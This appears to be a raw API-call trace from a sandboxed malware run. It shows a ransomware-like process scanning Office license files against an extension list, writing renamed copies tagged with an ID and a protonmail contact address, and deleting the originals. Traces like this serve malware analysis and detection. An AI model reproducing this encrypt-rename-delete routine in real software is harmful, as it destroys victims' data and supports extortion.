	[0197.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0197.885] lstrlenW (lpString=".doc") returned 4
	[0197.885] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.885] lstrlenW (lpString=".docx") returned 5
	[0197.885] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.885] lstrlenW (lpString=".pdf") returned 4
	[0197.885] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.885] lstrlenW (lpString=".xls") returned 4
	[0197.885] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.885] lstrlenW (lpString=".xlsx") returned 5
	[0197.885] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.885] lstrlenW (lpString=".ppt") returned 4
	[0197.885] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0197.885] lstrlenW (lpString=".zip") returned 4
	[0197.886] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.886] lstrlenW (lpString=".rar") returned 4
	[0197.886] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.886] lstrlenW (lpString=".bz2") returned 4
	[0197.886] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.886] lstrlenW (lpString=".7z") returned 3
	[0197.886] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0197.886] lstrlenW (lpString=".dbf") returned 4
	[0197.886] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0197.886] lstrlenW (lpString=".1cd") returned 4
	[0197.886] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0197.886] lstrlenW (lpString=".jpg") returned 4
	[0197.886] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.886] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0197.886] lstrlenW (lpString="MondoR_BypassTrial180-ppd.xrm-ms") returned 32
	[0197.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0197.887] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=26538) returned 1
	[0197.887] CloseHandle (hObject=0x460) returned 1
	[0197.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0197.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0197.887] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.888] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0197.888] GetLastError () returned 0x0
	[0197.888] ReadFile (in: hFile=0x460, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x67aa, lpOverlapped=0x0) returned 1
	[0197.891] WriteFile (in: hFile=0x514, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0197.893] ReadFile (in: hFile=0x460, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.893] WriteFile (in: hFile=0x514, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x114, lpOverlapped=0x0) returned 1
	[0197.893] SetEndOfFile (hFile=0x514) returned 1
	[0197.893] CloseHandle (hObject=0x514) returned 1
	[0197.893] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.893] SetEndOfFile (hFile=0x460) returned 1
	[0197.896] CloseHandle (hObject=0x460) returned 1
	[0197.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0197.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0197.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0197.898] lstrlenW (lpString=".doc") returned 4
	[0197.898] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.898] lstrlenW (lpString=".docx") returned 5
	[0197.898] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.898] lstrlenW (lpString=".pdf") returned 4
	[0197.898] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.898] lstrlenW (lpString=".xls") returned 4
	[0197.898] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.898] lstrlenW (lpString=".xlsx") returned 5
	[0197.898] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.898] lstrlenW (lpString=".ppt") returned 4
	[0197.898] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0197.898] lstrlenW (lpString=".zip") returned 4
	[0197.898] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.898] lstrlenW (lpString=".rar") returned 4
	[0197.898] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.898] lstrlenW (lpString=".bz2") returned 4
	[0197.898] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.898] lstrlenW (lpString=".7z") returned 3
	[0197.898] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0197.898] lstrlenW (lpString=".dbf") returned 4
	[0197.898] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0197.898] lstrlenW (lpString=".1cd") returned 4
	[0197.898] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0197.898] lstrlenW (lpString=".jpg") returned 4
	[0197.898] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0197.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0197.899] lstrlenW (lpString=".doc") returned 4
	[0197.899] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.899] lstrlenW (lpString=".docx") returned 5
	[0197.899] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.899] lstrlenW (lpString=".pdf") returned 4
	[0197.899] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.899] lstrlenW (lpString=".xls") returned 4
	[0197.899] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.899] lstrlenW (lpString=".xlsx") returned 5
	[0197.899] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.899] lstrlenW (lpString=".ppt") returned 4
	[0197.899] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0197.899] lstrlenW (lpString=".zip") returned 4
	[0197.899] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.899] lstrlenW (lpString=".rar") returned 4
	[0197.899] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.899] lstrlenW (lpString=".bz2") returned 4
	[0197.899] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.899] lstrlenW (lpString=".7z") returned 3
	[0197.899] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0197.899] lstrlenW (lpString=".dbf") returned 4
	[0197.899] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0197.899] lstrlenW (lpString=".1cd") returned 4
	[0197.899] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0197.899] lstrlenW (lpString=".jpg") returned 4
	[0197.899] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.900] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0197.900] lstrlenW (lpString="MondoR_BypassTrial180-ul-oob.xrm-ms") returned 35
	[0197.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0197.976] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11623) returned 1
	[0197.976] CloseHandle (hObject=0x5c8) returned 1
	[0197.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0197.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4
	[0197.982] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.982] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0197.983] GetLastError () returned 0x0
	[0197.983] ReadFile (in: hFile=0x5d4, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d67, lpOverlapped=0x0) returned 1
	[0197.997] WriteFile (in: hFile=0x5ec, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0197.998] ReadFile (in: hFile=0x5d4, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.998] WriteFile (in: hFile=0x5ec, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0197.998] SetEndOfFile (hFile=0x5ec) returned 1
	[0197.999] CloseHandle (hObject=0x5ec) returned 1
	[0197.999] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.999] SetEndOfFile (hFile=0x5d4) returned 1
	[0198.002] CloseHandle (hObject=0x5d4) returned 1
	[0198.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.002] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0198.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0198.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0198.003] lstrlenW (lpString=".doc") returned 4
	[0198.003] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.003] lstrlenW (lpString=".docx") returned 5
	[0198.003] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.003] lstrlenW (lpString=".pdf") returned 4
	[0198.003] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.003] lstrlenW (lpString=".xls") returned 4
	[0198.003] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.003] lstrlenW (lpString=".xlsx") returned 5
	[0198.003] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.003] lstrlenW (lpString=".ppt") returned 4
	[0198.004] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0198.004] lstrlenW (lpString=".zip") returned 4
	[0198.004] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.004] lstrlenW (lpString=".rar") returned 4
	[0198.004] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.004] lstrlenW (lpString=".bz2") returned 4
	[0198.004] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.004] lstrlenW (lpString=".7z") returned 3
	[0198.004] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0198.004] lstrlenW (lpString=".dbf") returned 4
	[0198.004] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0198.004] lstrlenW (lpString=".1cd") returned 4
	[0198.004] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0198.004] lstrlenW (lpString=".jpg") returned 4
	[0198.004] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0198.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0198.004] lstrlenW (lpString=".doc") returned 4
	[0198.004] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.004] lstrlenW (lpString=".docx") returned 5
	[0198.004] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.004] lstrlenW (lpString=".pdf") returned 4
	[0198.004] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.004] lstrlenW (lpString=".xls") returned 4
	[0198.004] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.004] lstrlenW (lpString=".xlsx") returned 5
	[0198.004] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.005] lstrlenW (lpString=".ppt") returned 4
	[0198.005] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0198.005] lstrlenW (lpString=".zip") returned 4
	[0198.005] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.005] lstrlenW (lpString=".rar") returned 4
	[0198.005] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.005] lstrlenW (lpString=".bz2") returned 4
	[0198.005] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.005] lstrlenW (lpString=".7z") returned 3
	[0198.005] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0198.005] lstrlenW (lpString=".dbf") returned 4
	[0198.005] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0198.005] lstrlenW (lpString=".1cd") returned 4
	[0198.005] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85
	[0198.005] lstrlenW (lpString=".jpg") returned 4
	[0198.005] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.005] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.005] lstrlenW (lpString="MondoR_Grace-ul-oob.xrm-ms") returned 26
	[0198.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4
	[0198.006] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11589) returned 1
	[0198.006] CloseHandle (hObject=0x5d4) returned 1
	[0198.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 0x220
	[0198.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4
	[0198.007] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.007] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0198.008] GetLastError () returned 0x0
	[0198.008] ReadFile (in: hFile=0x5d4, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d45, lpOverlapped=0x0) returned 1
	[0198.024] WriteFile (in: hFile=0x5ec, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0198.025] ReadFile (in: hFile=0x5d4, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.025] WriteFile (in: hFile=0x5ec, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x108, lpOverlapped=0x0) returned 1
	[0198.025] SetEndOfFile (hFile=0x5ec) returned 1
	[0198.025] CloseHandle (hObject=0x5ec) returned 1
	[0198.025] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.025] SetEndOfFile (hFile=0x5d4) returned 1
	[0198.028] CloseHandle (hObject=0x5d4) returned 1
	[0198.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 1
	[0198.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0198.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0198.029] lstrlenW (lpString=".doc") returned 4
	[0198.029] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.029] lstrlenW (lpString=".docx") returned 5
	[0198.029] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.029] lstrlenW (lpString=".pdf") returned 4
	[0198.029] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.029] lstrlenW (lpString=".xls") returned 4
	[0198.029] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.029] lstrlenW (lpString=".xlsx") returned 5
	[0198.029] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.029] lstrlenW (lpString=".ppt") returned 4
	[0198.030] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0198.030] lstrlenW (lpString=".zip") returned 4
	[0198.030] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.030] lstrlenW (lpString=".rar") returned 4
	[0198.030] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.030] lstrlenW (lpString=".bz2") returned 4
	[0198.030] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.030] lstrlenW (lpString=".7z") returned 3
